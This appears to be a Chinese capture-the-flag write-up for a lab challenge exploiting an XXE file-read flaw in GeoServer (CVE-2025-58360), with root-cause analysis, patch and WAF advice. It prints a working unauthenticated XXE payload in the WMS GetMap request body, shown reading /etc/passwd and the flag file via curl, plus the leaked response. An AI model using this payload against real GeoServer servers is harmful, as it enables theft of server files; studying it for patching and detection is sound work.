玄机网络安全靶场:GeoServer XXE 任意文件读取(CVE-2025-58360)

解题报告:GeoServer XXE 任意文件读取(CVE-2025-58360)

平台: 玄机 (xj.edisec.net)
题目 ID: 443
难度: 简单
类型: 渗透
积分: 300 分
完成状态: ✅ 已完成
Flag: FLAG{CVE-2025-58360_GeoServer_XXE_Success}


一、漏洞背景

CVE-2025-58360 是 GeoServer(一款开源地理空间数据服务器)中存在的 XML 外部实体注入(XXE) 漏洞。该漏洞于 2025 年 11 月 25 日由 XBOW 安全研究团队披露,CVSS v3 评分 8.2(高危),且已被 CISA 确认存在在野利用。

属性 详情
CVE 编号 CVE-2025-58360
影响版本 GeoServer ≤ 2.25.5 及 2.26.0--2.26.1
修复版本 GeoServer 2.25.6 / 2.26.2 / 2.27.0+
漏洞类型 XML 外部实体注入(XXE → 任意文件读取 / SSRF)
漏洞端点 POST /geoserver/wms(operation=GetMap)
CVSS 评分 8.2(高危)
认证要求 无需认证(未授权可利用)

二、靶机信息

项目
靶机公网 IP 68.79.22.133
靶机内网 IP 10.0.10.2
服务端口 8081
服务路径 /geoserver
目标文件 /usr/local/flag.txt

三、漏洞分析

3.1 漏洞成因

GeoServer 的 WMS(Web Map Service)GetMap 操作支持通过请求体传入 StyledLayerDescriptor(SLD) 格式的 XML 数据,用于描述地图渲染样式。然而,GeoServer 使用的 XML 解析器未禁用外部实体解析(DTD/ENTITY),导致攻击者可以在 SLD XML 中定义外部实体,引用服务器本地文件,从而实现任意文件读取。

复制代码
POST /geoserver/wms?service=WMS&request=GetMap&...
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">    ← 定义外部实体
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>    ← 引用实体,触发文件读取
  </NamedLayer>
</StyledLayerDescriptor>

3.2 数据泄露路径

GeoServer 在处理 GetMap 请求时,将 <Name> 标签的内容作为图层名称进行查找。当图层名称不存在时,服务器会在 ServiceExceptionReport 响应中返回 Unknown layer: <图层名> 的错误信息,而此时图层名已被替换为外部实体的文件内容,从而实现带内(In-Band)XXE 数据泄露


四、漏洞利用过程

4.1 确认服务可访问

bash 复制代码
curl -s -o /dev/null -w "HTTP Status: %{http_code}\n" \
  http://68.79.22.133:8081/geoserver/web/
# 返回 HTTP 302(重定向至登录页),确认 GeoServer 服务存在

4.2 构造 XXE Payload

bash 复制代码
curl -s -X POST \
  -H "Content-Type: application/xml" \
  "http://68.79.22.133:8081/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" \
  --data '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///usr/local/flag.txt">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>'

4.3 服务器响应(含 Flag)

服务器返回 XML 格式的错误响应,文件内容在 <ServiceException> 标签中泄露:

xml 复制代码
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE ServiceExceptionReport SYSTEM 
  "http://68.79.22.133:8081/geoserver/schemas/wms/1.1.1/WMS_exception_1_1_1.dtd">
<ServiceExceptionReport version="1.1.1">
  <ServiceException>
    Unknown layer: FLAG{CVE-2025-58360_GeoServer_XXE_Success}
  </ServiceException>
</ServiceExceptionReport>

Flag 成功读取: FLAG{CVE-2025-58360_GeoServer_XXE_Success}


五、关键技术要点

1. 带内 XXE(In-Band XXE):本漏洞属于带内 XXE,文件内容直接在 HTTP 响应体中返回,无需外带(OOB)通道,利用极为简单。

2. 无需认证/geoserver/wms 端点无需登录即可访问,攻击者可直接发起利用。

3. 一次请求即可获取 Flag :整个利用过程仅需一条 curl 命令,响应时间约 2 秒,极为高效。

4. 数据泄露载体:GeoServer 将未知图层名称原样返回在错误信息中,这是 XXE 数据泄露的关键路径。


六、修复建议

修复方向 具体措施
升级版本 升级至 GeoServer 2.25.6、2.26.2 或 2.27.0 及以上版本
禁用外部实体 在 XML 解析器配置中设置 FEATURE_SECURE_PROCESSING = true,禁用 DTD 和外部实体
网络访问控制 限制 GeoServer 管理端口仅对可信 IP 开放
WAF 规则 检测请求体中包含 <!DOCTYPE<!ENTITYSYSTEM 等 XXE 特征的请求
相关推荐
REDcker1 小时前
Webpack Rollup Vite三者构建对比详解 开发体验与选型考量
运维·webpack·devops
星幻元宇VR1 小时前
VR交通安全行走平台助力文明交通建设
科技·学习·安全·vr·虚拟现实
shehuiyuelaiyuehao1 小时前
算法12,滑动窗口,将x减到0的最小操作数
java·数据结构·算法
上海云盾-小余1 小时前
游戏核心端口安全加固:规避暴力扫描与碎片 DDoS 攻击风险
安全·游戏·ddos
lulu12165440781 小时前
国内怎么用GPT5.5?基于weelinking零门槛合规接入GPT5.5全系列生产级能力
java·人工智能·python·gpt·ai编程
北极熊kw1 小时前
FreeBSD 安装 Xrdp 后,远程桌面时只显示白色终端 Xterm
linux·运维·服务器·rdp·freebsd·xterm
多租户观察室1 小时前
DNS服务器跟普通服务器有什么区别?
运维·服务器
iwS2o90XT1 小时前
Java多线程编程:Thread与Runnable的并发控制
java·开发语言·python